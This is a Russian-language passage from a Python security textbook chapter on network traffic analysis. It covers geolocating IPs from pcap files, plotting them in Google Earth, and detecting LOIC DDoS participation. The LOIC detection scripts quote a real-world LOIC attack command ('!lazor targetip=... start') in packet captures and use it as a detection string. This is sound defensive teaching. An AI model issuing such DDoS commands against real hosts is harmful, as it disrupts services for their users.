- Well-known users of SQLite. (2012). SQLite Home Page. Retrieved from <http://www.sqlite.org/famous.html>, February 1.



# Глава 4: Python и анализ сетевого трафика

## С чем мы столкнёмся в этой главе:

- Геолокационный Интернет-протокол (IP) трафика
- Знакомьтесь: вредоносные инструменты DDoS
- Разоблачаем пустышки в сети
- Анализируем Fast-Flux от Storm и Domain-Flux от Conficker
- Изучаем атаку с прогнозом последовательности TCP
- Системы обнаружения Foil Intrusion с воссозданными пакетами

Вместо того чтобы оставаться в рамках отдельного измерения, боевые искусства должны быть продолжением нашего образа жизни, философии, воспитания детей, работы, которой мы посвящаем столько времени, отношений, которые мы создаём, и решений, которые принимаем каждый день.

**Даниэль Болелли, Автор, Чёрный пояс четвёртой степени в кунг-фу Сан Су**

## Введение: операция «аврора», или как не заметили очевидное

14 января 2010 года Соединённые Штаты узнали о скоординированном, изощрённом и продолжительном кибернападении, нацеленном на Google, Adobe и ещё более 30 компаний из списка Fortune 100 (Binde, McRee, & O'Connor, 2011). При атаке, окрещённой «Операцией «Аврора»» «в честь» папки, обнаруженной на заражённой машине, применялся новейший эксплойт, ранее в природе невиданный. Хотя в Microsoft и знали об уязвимости, использованной злоумышленниками, там ошибочно полагали, что никто кроме них о ней не знал, и поэтому не было механизмов для обнаружения подобной атаки.

Для захвата своих жертв злоумышленники начали атаку с отправки им электронного письма со ссылкой на тайваньский веб-сайт с вредоносным кодом JavaScript (Binde, McRee, & O'Connor, 2011). Когда пользователи нажимали на ссылку, они загружали зловредную

программу, которая подключалась к серверу управления и контроля, расположенному в Китае (Zetter, 2010). А уже оттуда злоумышленники, с помощью своего свежеполученного доступа, искали конфиденциальную информацию, хранящуюся в захваченных системах жертв. Какой бы очевидной эта атака ни казалась, её не замечали в течение нескольких месяцев, и злодеи успешно проникли в репозитории исходного кода нескольких компаний из списка Fortune 100. Даже элементарное программное обеспечение для визуализации сети могло бы идентифицировать эти странности в поведении. С какой это стати в американской компании из списка Fortune 100 присутствуют несколько пользователей с подключениями к определённому веб-сайту на Тайване, а затем переподключениями к определённому серверу, расположенному в Китае? Одна только визуальная карта, показывающая пользователей, с завидным постоянством подключающихся как к Тайваню, так и к Китаю, помогла бы сетевым администраторам быстрее «засечь» атаку и остановить её ещё до потери конфиденциальной информации.

В следующих разделах мы рассмотрим, как Python может помочь в анализе различных атак – путём быстрого парсинга огромных объёмов данных в разрозненных точках. А начнём мы исследование с создания скрипта для визуального анализа сетевого трафика – той спасительной палочки-выручалочки, которая могла бы помочь администраторам пострадавших компаний из списка Fortune 100 противостоять операции «Аврора».

## Куда же это направлен наш IP-трафик? Python даст ответ!

Для начала нам нужно как-то соотнести IP-адреса с их физическим местоположением. В этом деле мы будем полагаться на свободно доступную базу данных от MaxMind, Inc. Хотя MaxMind предлагает несколько тщательно составленных коммерческих продуктов, её база данных GeoLiteCity с открытым исходным кодом, доступная по адресу <http://www.maxmind.com/app/geolitecity>, отличается достаточной точностью для того, чтобы сопоставлять IP-адреса с крупными городами. Как только база данных будет загружена, мы распакуем её и переместим в /opt/GeoIP/Geo.dat.

```
analyst# wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
--2012-03-17 09:02:20--
http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
Resolving geolite.maxmind.com... 174.36.207.186
Connecting to geolite.maxmind.com|174.36.207.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9866567 (9.4M) [text/plain]
Saving to: 'GeoLiteCity.dat.gz'
100%[=====]
=====>]
```

```
9,866,567 724K/s in 15s k
2012-03-17 09:02:36 (664 KB/s) - 'GeoLiteCity.dat.gz' saved [9866567/9866567]
analyst#gunzip GeoLiteCity.dat.gz
analyst#mkdir /opt/GeoIP
analyst#mv GeoLiteCity.dat /opt/GeoIP/Geo.dat
```

С помощью базы данных GeoLiteCity мы можем соотносить IP-адрес с штатом, почтовым индексом, названием страны и общими координатами широты и долготы. Всё это пригодится нам при анализе IP-трафика.

## Использование PyGeoIP для соотнесения IP с физическими местоположениями

Дженнифер Эннис создала библиотеку, полностью на языке Python, для запроса базы данных GeoLiteCity. Библиотеку можно загрузить с адреса <http://code.google.com/p/pygeoip/> и установить перед тем, как импортировать её в скрипт Python. Обратите внимание, что сначала мы создадим экземпляр класса **GeoIP** с местом расположения распакованной базы данных. Далее мы запросим у базы данных какую-нибудь конкретную запись, указав IP-адрес. В ответ вернётся запись, содержащая поля **city** (город), **region\_name** (название региона), **postal\_code** (почтовый индекс), **country\_name** (название страны), **latitude** (широта) и **longitude** (долгота), а также другая идентифицируемая информация.

```
import pygeoip
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def printRecord(tgt):
    rec = gi.record_by_name(tgt)
    city = rec['city']
    region = rec['region_name']
    country = rec['country_name']
    long = rec['longitude']
    lat = rec['latitude']
    print '[*] Target: ' + tgt + ' Geo-located. '
    print '[+] ' +str(city)+' , '+str(region)+' , '+str(country)
    print '[+] Latitude: ' +str(lat)+ ' , Longitude: ' + str(long)
tgt = '173.255.226.98'
printRecord(tgt)
```

Запустив скрипт, мы видим, что он выдаёт данные, указывающие на физическое местоположение целевого IP-адреса в городе Джерси-Сити, штат Нью-Джерси, США, с широтой 40,7245 и долготой -74,0621. Теперь, когда мы можем сопоставить IP-адрес с физическим адресом, давайте приступим к написанию скрипта анализа.

```
analyst# python printGeo.py
[*] Target: 173.255.226.98 Geo-located.
[+] Jersey City, NJ, United States
```

## Использование Dpkt для анализа пакетов

В следующей главе мы будем использовать инструмент управления пакетами **Scapy** для анализа и создания пакетов. А в этом разделе у нас будет отдельный инструмент, **Dpkt**, для анализа пакетов. Хотя **Scapy** предлагает потрясающие возможности, начинающие пользователи нередко находят инструкции по его установке на Mac OS X и Windows чрезвычайно сложными. **Dpkt**, напротив, довольно прост: его можно загрузить с <http://code.google.com/p/dpkt/> и легко установить. Оба инструмента предлагают схожие возможности, но всегда полезно хранить арсенал из нескольких схожих инструментов. После того, как Дуг Сонг изначально создал **Dpkt**, Джон Оберхайд добавил туда множество дополнительных возможностей для анализа различных протоколов, таких как FTP, H.225, SCTP, BPG и IPv6.

Для этого примера давайте предположим, что у нас есть записанный снимок сети **pcap**, который мы хотели бы проанализировать. **Dpkt** позволяет нам перебирать каждый отдельный пакет в захвате и исследовать каждый уровень протокола пакета. Хотя мы просто считываем предварительно захваченный **PCAP** в этом примере, мы могли бы так же легко анализировать живой трафик, используя **pyrcap**, доступный по адресу <http://code.google.com/p/pyrcap/>. Чтобы прочитать файл **pcap**, мы создаём его экземпляр, создаём объект класса **pcap.reader** и затем передаём этот объект нашей функции **printPcap()**. В объекте **pcap** находится массив записей, содержащих **[timestamp, packet]**. Мы можем разбить каждый пакет на уровни Ethernet и IP. Обратите внимание на использование обработки исключений в данном случае: поскольку мы можем захватывать снимки уровня 2, которые не содержат в себе уровень IP, можно научиться исключать данные снимки. В данном случае мы применяем обработку исключений, чтобы перехватить исключение и перейти к следующему пакету. Мы используем библиотеку сокетов для преобразования IP-адресов, хранящихся в нотации **inet**, в простую строку. Наконец, мы печатаем источник и место назначения на экране для каждого отдельного пакета.

```
import dpkt
import socket
def printPcap(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            print '[+] Src: ' + src + ' --> Dst: ' + dst
        except:
            pass
```

```
def main():
    f = open('geotest.pcap')
    pcap = dpkt.pcap.Reader(f)
    printPcap(pcap)
if __name__ == '__main__':
    main()
```

Запустив скрипт, мы видим IP-адрес источника и IP-адрес места назначения, выведенные на экран. Пока это даёт нам некоторую пищу для размышлений, давайте сопоставим эти данные с физическими местоположениями, используя наш предыдущий скрипт геолокации.

```
analyst# python printDirection.py
[+] Src: 110.8.88.36 --> Dst: 188.39.7.79
[+] Src: 28.38.166.8 --> Dst: 21.133.59.224
[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148
[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
```

Совершенствуя скрипт, вставим дополнительную функцию **retGeoStr()**, которая выдаёт нам физическое местоположение для IP-адреса. Для этого мы просто определим город и трёхзначный код страны, и выведем их на экран. Если функция вызывает исключение, мы получим сообщение, указывающее, что адрес не зарегистрирован. Таким образом обрабатываются экземпляры адресов, которых нет в базе данных GeoLiteCity, или частных IP-адресов - таких как 192.168.1.3 в нашем случае.

```
import dpkt, socket, pygeoip, optparse
gi = pygeoip.GeoIP("/opt/GeoIP/Geo.dat")
def retGeoStr(ip):
    try:
        rec = gi.record_by_name(ip)
        city=rec['city']
        country=rec['country_code3']
        if (city!=''):
            geoLoc= city+", "+country
        else:
            geoLoc=country
        return geoLoc
    except:
        return "Unregistered"
```

Добавив функцию **retGeoStr** в наш исходный сценарий, мы теперь имеем довольно мощный инструмент анализа пакетов, который позволяет нам видеть геолокацию назначения пакетов.

```
import dpkt
import socket
import pygeoip
import optparse

gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def retGeoStr(ip):
    try:
        rec = gi.record_by_name(ip)
        city = rec['city']
        country = rec['country_code3']
        if city != '':
            geoLoc = city + ', ' + country
        else:
            geoLoc = country
        return geoLoc
    except Exception, e:
        return 'Unregistered'
def printPcap(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            print '[+] Src: ' + src + ' --> Dst: ' + dst
            print '[+] Src: ' + retGeoStr(src) + ' --> Dst: ' \
                + retGeoStr(dst)
        except:
            pass
def main():
    parser = optparse.OptionParser('usage%prog -p <pcap file>')
    parser.add_option('-p', dest='pcapFile', type='string',\
        help='specify pcap filename')
    (options, args) = parser.parse_args()
    if options.pcapFile == None:
        print parser.usage
        exit(0)
    pcapFile = options.pcapFile
    f = open(pcapFile)
    pcap = dpkt.pcap.Reader(f)
    printPcap(pcap)
if __name__ == '__main__':
    main()
```

Запустив наш скрипт, мы видим, что несколько пакетов направляются в Корею, Лондон, Японию и даже Австралию. Это даёт нам довольно мощный инструмент для анализа. Однако Google Earth может оказаться гораздо лучшим способом визуализации этой же информации!

```
analyst# python geoPrint.py -p geotest.pcap
[+] Src: 110.8.88.36 --> Dst: 188.39.7.79
[+] Src: KOR --> Dst: London, GBR
[+] Src: 28.38.166.8 --> Dst: 21.133.59.224
[+] Src: Columbus, USA --> Dst: Columbus, USA
[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: Wichita, USA --> Dst: Hollywood, USA
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148
[+] Src: KOR --> Dst: Unregistered
[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: Washington, USA --> Dst: Kawabe, JPN
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: USA --> Dst: Columbus, USA
[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: JPN --> Dst: Tokyo, JPN
[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: Edinburgh, GBR --> Dst: USA
[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
[+] Src: Endeavour Hills, AUS --> Dst: Prague, CZE
```

## Использование Python для создания карты Google

Google Earth предоставляет собой виртуальный глобус, карту и географическую информацию, отображаемую в проприетарной программе просмотра. Хотя Google Earth и запатентована, она может легко интегрировать в свой глобус пользовательские каналы и маршруты. Создание текстового файла с расширением KML позволяет пользователю интегрировать в Google Earth различные геометки. Файлы KML содержат определённую структуру XML, как показано в следующем примере. Здесь мы продемонстрируем, как нанести на карту две конкретные геометки с именами и точными координатами. Поскольку у нас уже есть IP-адрес, широта и долгота для наших точек, всё это будет легко интегрировать в наш существующий скрипт для создания файла KML.

```
<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>
<Placemark>
<name>93.170.52.30</name>
<Point>
<coordinates>5.750000,52.500000</coordinates>
</Point>
</Placemark>
```

```

<Placemark>
<name>208.73.210.87</name>
<Point>
<coordinates>-122.393300,37.769700</coordinates>
</Point>
</Placemark>
</Document>
</kml>

```

Давайте создадим быструю функцию `retKML()`, которая принимает IP в качестве входных данных и возвращает определённую структуру KML для создания метки места. Обратите внимание, что сначала мы переводим IP-адрес в широту и долготу, используя `pygeoip`; далее мы можем создать KML-файл для определения геометки. Если нам встретится исключение, такое как «местоположение не найдено», мы получим пустую строку.

```

def retKML(ip):
    rec = gi.record_by_name(ip)
    try:
        longitude = rec['longitude']
        latitude = rec['latitude']
        kml = (
            '<Placemark>\n'
            '<name>%s</name>\n'
            '<Point>\n'
            '<coordinates>%6f,%6f</coordinates>\n'
            '</Point>\n'
            '</Placemark>\n'
        )%(ip,longitude, latitude)
        return kml
    except Exception, e:
        return ''

```

Интегрируя функцию в наш изначальный скрипт, теперь мы также добавляем специальный KML-заголовок и футер. Для каждого пакета мы создаём KML-геометки для исходного и конечного IP-адресов и наносим их на наш глобус. Это красиво визуализирует сетевой трафик! Обдумайте все способы улучшения визуализации, которые сделают нагляднее процесс выполнения конкретных задач вашей организации. Возможно, вы захотите использовать разные значки для разных типов трафика, указанных TCP-портами источника и назначения (например, 80 сетевых и 25 почтовых). Изучите документацию Google KML, доступную по адресу <https://developers.google.com/kml/documentation/>, и подумайте, что ещё можно сделать для того, чтобы работа вашей организации на глобусе Google Earth выглядела максимально красиво!

```

import dpkt
import socket

```



```

import pygeoip
import optparse
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def retKML(ip):
    rec = gi.record_by_name(ip)
    try:
        longitude = rec['longitude']
        latitude = rec['latitude']
        kml = (
            '<Placemark>\n'
            '<name>%s</name>\n'
            '<Point>\n'
            '<coordinates>%6f,%6f</coordinates>\n'
            '</Point>\n'
            '</Placemark>\n'
        )%(ip,longitude, latitude)
        return kml
    except:
        return ''
def plotIPs(pcap):
    kmlPts = ''
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            srcKML = retKML(src)
            dst = socket.inet_ntoa(ip.dst)
            dstKML = retKML(dst)
            kmlPts = kmlPts + srcKML + dstKML
        except:
            pass
    return kmlPts
def main():
    parser = optparse.OptionParser('usage%prog -p <pcap file>')
    parser.add_option('-p', dest='pcapFile', type='string',\
        help='specify pcap filename')
    (options, args) = parser.parse_args()
    if options.pcapFile == None:
        print parser.usage
        exit(0)
    pcapFile = options.pcapFile
    f = open(pcapFile)
    pcap = dpkt.pcap.Reader(f)
    kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\n'
        '\n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n'
    kmlfooter = '</Document>\n</kml>\n'
    kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
    print kmldoc

```

```
if __name__ == '__main__':  
    main()
```

Запустив наш скрипт, мы перенаправляем вывод в текстовый файл с расширением .kml. Открыв этот файл в Google Earth, мы видим визуальное представление адресатов наших пакетов. В следующем разделе мы применим наши аналитические навыки для обнаружения всемирной угрозы, исходящей от хакерской группы Anonymous.

## Так ли уж анонимны ANONYMOUS? Анализируем трафик LOIC

В декабре 2010 года голландская полиция арестовала некоего подростка за участие в DDoS-атаках на платёжные системы Visa, MasterCard и PayPal в рамках операции, направленной против компаний, противостоящих WikiLeaks. Менее чем через месяц ФБР выдала сорок ордеров на обыск, а британская полиция произвела пять арестов. Эти предполагаемые преступники, связанные с хакерской группой Anonymous, загрузили и применили инструмент Low Orbit Ion Cannon (LOIC) для атак.

LOIC «заливает» цель большими объёмами трафика UDP и TCP. Одного экземпляра LOIC слишком мало, чтобы исчерпать ресурсы цели; однако когда сотни тысяч индивидов используют LOIC одновременно, они быстро истощают ресурсы цели и её возможности предоставлять услуги онлайн.

LOIC предлагает два режима работы. В первом режиме пользователь может вводить целевой адрес. Во втором режиме, получившем название HIVEMIND, пользователь подключает LOIC к IRC-серверу, пользователи которого могут назначать цели, на которые пользователи, подключённые по IRC, будут производить атаку автоматически.

### Использование Dpkt для поиска загрузки LOIC

Во время операции «Расплата» члены Anonymous опубликовали документ, содержащий ответы на часто задаваемые вопросы об их инструментарии LOIC. В «Часто задаваемых вопросах (FAQ)» есть такой вопрос/ответ: *«Буду ли я пойман/арестован за его использование? Шансы близки к нулю. Просто пеняйте на то, что вы подхватили вирус, или вовсе отрицайте какое-либо знание о нём»*. Давайте-ка мы развенчаем в данном разделе этот ответ, заодно приобретя знания по анализу пакетов, и напишем инструмент, чтобы железно доказать, что участник загрузил и применил преступный набор инструментов.

Несколько источников в Интернете предлагают набор инструментов LOIC для скачивания; и далеко не все они заслуживают доверия. Поскольку есть копия на sourceforge (<http://sourceforge.net/projects/loic/>), давайте загрузим её оттуда. Перед загрузкой откройте сеанс **tcpdump**, отфильтруйте порт 80 и распечатайте результаты в формате ASCII. Вы должны

увидеть, что при загрузке инструмента выдаётся HTTP-запрос **GET** для самой последней версии инструмента из /project/loic/loic/loic-1.0.7/LOIC\_1.0.7.42binary.zip.

```
analyst# tcpdump -i eth0 -A 'port 80'
17:36:06.442645 IP attack.61752 > downloads.sourceforge.net.http:
  Flags [P.], seq 1:828, ack 1, win 65535, options [nop,nop,TS val
  488571053 ecr 3676471943], length 827E..o..@.@.....".;.8.P.KC.T
  .C....."
..GET /project/loic/loic/loic-1.0.7/LOIC 1.0.7.42binary.zip
  ?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Floic%2F&ts=1330821290
  HTTP/1.1
Host: downloads.sourceforge.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
  AppleWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3
  Safari/534.53.10
```

Для первой части нашего набора инструментов обнаружения LOIC мы напишем скрипт Python для анализа HTTP-трафика и проверки его на наличие HTTP-запросов **GET** сжатого двоичного файла LOIC. Для этого мы снова задействуем **Dpkt**-библиотеку Дуга Сонга. Чтобы исследовать трафик HTTP, мы должны извлечь уровни Ethernet, IP и TCP. Мы столкнёмся с моментом, когда протокол HTTP будет находиться «поверх» уровня протокола TCP. Если уровень HTTP использует метод **GET**, мы анализируем унифицированный идентификатор ресурса (URI), запрошенный этим методом. Если этот URI содержит .zip и LOIC в имени, мы выводим на экран сообщение с IP-адресом, загрузившим LOIC. Это может помочь системному администратору доказать, что пользователь скачал LOIC сам, а не был «пассивно» заражён вирусом. В сочетании с судебным анализом загрузок (мы говорили об этом в [третьей главе](#)) мы можем окончательно доказать, что пользователь сам загрузил LOIC.

```
import dpkt
import socket
def findDownload(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            tcp = ip.data
            http = dpkt.http.Request(tcp.data)
            if http.method == 'GET':
                uri = http.uri.lower()
                if '.zip' in uri and 'loic' in uri:
                    print '[!] ' + src + ' Downloaded LOIC.'
        except:
            pass
f = open()
```

```
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)
```

Запустив скрипт, мы видим, что пара пользователей действительно скачали LOIC.

```
analyst# python findDownload.py
[!] 192.168.1.3 Downloaded LOIC.
[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.
```

## Парсинг команд IRC для Hive

Простое скачивание LOIC не является незаконной (иначе бы у автора этой книги могли быть некоторые проблемы); однако подключение к Anonymous HIVE и запуск DDoS-атаки с намерением помешать работе какого-либо сервиса нарушают несколько законов: штата, федеральных и национальных. Поскольку Anonymous – это скорее не иерархически ведомая группа хакеров, а свободный коллектив индивидов с похожим мышлением, любой из них может предложить цель для атаки. Чтобы начать атаку, участник Anonymous входит на особый сервер Internet Relay Chat (IRC) и выдаёт команду атаки, например: *!lazor targetip=66.211.169.66 message=test\_test port=80 method=tcp wait=false random=true start*. Любой участник Anonymous, подключённый к IRC с LOIC, подключённым в режиме HIVEMIND, может немедленно начать атаку на цель. В этом случае IP-адрес 66.211.169.66 относится к адресу paypal.com, обозначенному во время операции «Расплата».

Изучая трафик сообщений атаки в **tcpdump**, мы видим, что определённый пользователь – anonOps – выдал команду для запуска атаки на IRC-сервер. Затем IRC-сервер выдаёт команду подключённым к LOIC клиентам начать атаку. Да, всё это было легко увидеть при просмотре тех двух конкретных пакетов - но представьте, что вы пытаетесь найти это в длинном файле **PCAP**, содержащем целые часы или даже дни сетевого трафика!

```
analyst# sudo tcpdump -i eth0 -A 'port 6667'
08:39:47.968991 IP anonOps.59092 > ircServer.ircd: Flags [P.], seq
  3112239490:3112239600, ack 110628, win 65535, options [nop,nop,TS
  val 437994780 ecr 246181], length 110
E...5<@.@..9.._..._.....$.....3.....
..E.....TOPIC #LOIC:!lazor targetip=66.211.169.66 message=test_test
  port=80 method=tcp wait=false random=true start
08:39:47.970719 IP ircServer.ircd > loic-client.59092: Flags [P.],
  seq 1:139, ack 110, win 453, options [nop,nop,TS val 260262 ecr
  437994780], length 138
E....&@.@.r3.._..._.....$......k.....
.....E.:kevin!kevin@anonOps TOPIC #loic:!lazor targetip=66.211.169.66
  message=test_test port=80 method=tcp wait=false random=true start
```

В большинстве случаев IRC-сервер использует TCP-порт 6667. Сообщения, отправляемые IRC-серверу, будут иметь целевой TCP-порт 6667. Сообщения, полученные от IRC-сервера, будут иметь исходный TCP-порт 6667. Давайте применять эти знания при написании нашей функции HIVEMIND-анализа `findHivemind()`. В этот раз мы извлечём уровни Ethernet, IP и TCP. После извлечения уровня TCP мы исследуем его на конкретные порты источника и назначения. Если мы видим команду `!lazor` с портом назначения 6667, мы идентифицируем участника, выдающего команду атаки. Если мы видим команду `!lazor` с портом источника 6667, мы можем идентифицировать сервер, дающий членам улья команду на атаку.

```
import dpkt
import socket
def findHivemind(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            sport = tcp.sport
            if dport == 6667:
                if '!lazor' in tcp.data.lower():
                    print '[!] DDoS Hivemind issued by: '+src
                    print '[+] Target CMD: ' + tcp.data
            if sport == 6667:
                if '!lazor' in tcp.data.lower():
                    print '[!] DDoS Hivemind issued to: '+src
                    print '[+] Target CMD: ' + tcp.data
        except:
            pass
```

## Идентификация DDoS-атаки по мере её развития

Итак, у нас есть функции обнаружения пользователя, загружающего LOIC и поиска HIVE-команд. Теперь у нас осталась ещё одна, последняя миссия: выявление атаки по мере её развития. Когда пользователь запускает LOIC-атаку, он «ведёт огонь» огромным количеством TCP-пакетов в направлении цели. Эти пакеты, в сочетании с коллективными пакетами из Hive, значительно истощают ресурсы цели. Мы запускаем сеанс `tcpdump` и видим несколько маленьких (длиною 12) TCP-пакетов, отправляемых каждые 0,00005 секунды. Такое поведение длится до самого конца атаки. Обратите внимание, что цели очень трудно на это реагировать, и она подтверждает в среднем только каждый пятый пакет.

```
analyst# tcpdump -i eth0 'port 80'
06:39:26.090870 IP loic-attacker.1182 >loic-target.www: Flags [P.], seq
```

```

336:348, ack 1, win
64240, length 12
06:39:26.090976 IP loic-attacker.1186 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.090981 IP loic-attacker.1185 >loic-target.www: Flags [P.], seq
301:313, ack 1, win
64240, length 12
06:39:26.091036 IP loic-target.www > loic-attacker.1185: Flags [P.], ack
313, win 14600, lengt
h 0
06:39:26.091134 IP loic-attacker.1189 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.091140 IP loic-attacker.1181 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.091142 IP loic-attacker.1180 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.091225 IP loic-attacker.1184 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
<.. REPEATS 1000x TIMES..>

```

Давайте напишем функцию, которая отображает DDoS-атаку в процессе. Чтобы обнаружить атаку, мы установим пороговое значение для пакетов. Если количество пакетов, отправляемых пользователем на определённый адрес, превышает этот порог, это может идентифицироваться как атака. Спорно, конечно — ведь мы пока не видим прямых доказательств, что пользователь инициировал атаку; однако соотнесение этого с загрузкой пользователем LOIC и последующим принятием команды HIVE, за которой следует фактическая атака, даёт нам убедительные доказательства участия пользователя в спонсируемой Anonymous DDoS-атаке.

```

import dpkt
import socket
THRESH = 10000
def findAttack(pcap):
    pktCount = {}
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            if dport == 80:

```

```

        stream = src + ':' + dst
        if pktCount.has_key(stream):
            pktCount[stream] = pktCount[stream] + 1
        else:
            pktCount[stream] = 1
    except:
        pass
for stream in pktCount:
    pktsSent = pktCount[stream]
    if pktsSent > THRESH:
        src = stream.split(':')[0]
        dst = stream.split(':')[1]
        print '[+] '+src+' attacked '+dst+' with ' + \
            + str(pktsSent) + ' pkts.'
```

С апгрейдом нашего кода и добавлением в него синтаксического анализа некоторых опций, наш скрипт теперь «видит», перехватывает команды HIVE и обнаруживает атаку.

```

import dpkt
import optparse
import socket
THRESH = 1000
def findDownload(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            tcp = ip.data
            http = dpkt.http.Request(tcp.data)
            if http.method == 'GET':
                uri = http.uri.lower()
                if '.zip' in uri and 'loic' in uri:
                    print '[!] ' + src + ' Downloaded LOIC.'
        except:
            pass
def findHivemind(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            sport = tcp.sport
            if dport == 6667:
                if '!lazor' in tcp.data.lower():
```

```

        print '[!] DDoS Hivemind issued by: '+src
        print '[+] Target CMD: ' +tcp.data
    if sport == 6667:
        if '!lazor' in tcp.data.lower():
            print '[!] DDoS Hivemind issued to: '+src
            print '[+] Target CMD: ' +tcp.data
    except:
        pass
def findAttack(pcap):
    pktCount = {}
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            if dport == 80:
                stream = src + ':' + dst
                if pktCount.has_key(stream):
                    pktCount[stream] = pktCount[stream] + 1
                else:
                    pktCount[stream] = 1
        except:
            pass
    for stream in pktCount:
        pktsSent = pktCount[stream]
        if pktsSent > THRESH:
            src = stream.split(':')[0]
            dst = stream.split(':')[1]
            print '[+] '+src+' attacked '+dst+' with ' \
                +str(pktsSent) + ' pkts.'
def main():
    parser = optparse.OptionParser("usage%prog '+\
        '-p<pcap file> -t <thresh>"
    )
    parser.add_option('-p', dest='pcapFile', type='string',\
        help='specify pcap filename')
    parser.add_option('-t', dest='thresh', type='int',\
        help='specify threshold count ')
    (options, args) = parser.parse_args()
    if options.pcapFile == None:
        print parser.usage
        exit(0)
    if options.thresh != None:
        THRESH = options.thresh
    pcapFile = options.pcapFile
    f = open(pcapFile)

```



```
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)
findHivemind(pcap)
findAttack(pcap)
if __name__ == '__main__':
    main()
```

Запустив код, мы видим результаты. Четыре пользователя скачали инструментарий. Затем другой пользователь дал команду атаки двоим подключённым сообщникам из числа скачавших. И далее те двое злоумышленников участвовали в атаке фактически. Таким образом, скрипт теперь идентифицирует всю DDoS-атаку в действии. Хотя IDS и может обнаруживать аналогичные действия, собственноручно написанный скрипт – такой как наш – покажет нам историю атаки намного лучше. В следующем разделе мы рассмотрим пользовательский скрипт, написанный 17-летним подростком для защиты Пентагона.

```
analyst# python findDDoS.py -p traffic.pcap
[!] 192.168.1.3 Downloaded LOIC.
[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.
[!] DDoS Hivemind issued by: 192.168.1.2
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141
    message=test_test port=80 method=tcp wait=false random=true start
[!] DDoS Hivemind issued to: 192.168.1.3
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141
    message=test_test port=80 method=tcp wait=false random=true start
[!] DDoS Hivemind issued to: 192.168.1.5
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141
    message=test_test port=80 method=tcp wait=false random=true start
[+] 192.168.1.3 attacked 192.168.95.141 with 1000337 pkts.
[+] 192.168.1.5 attacked 192.168.95.141 with 4133000 pkts.
```

## Как H.D. Moore решил дилемму Пентагона

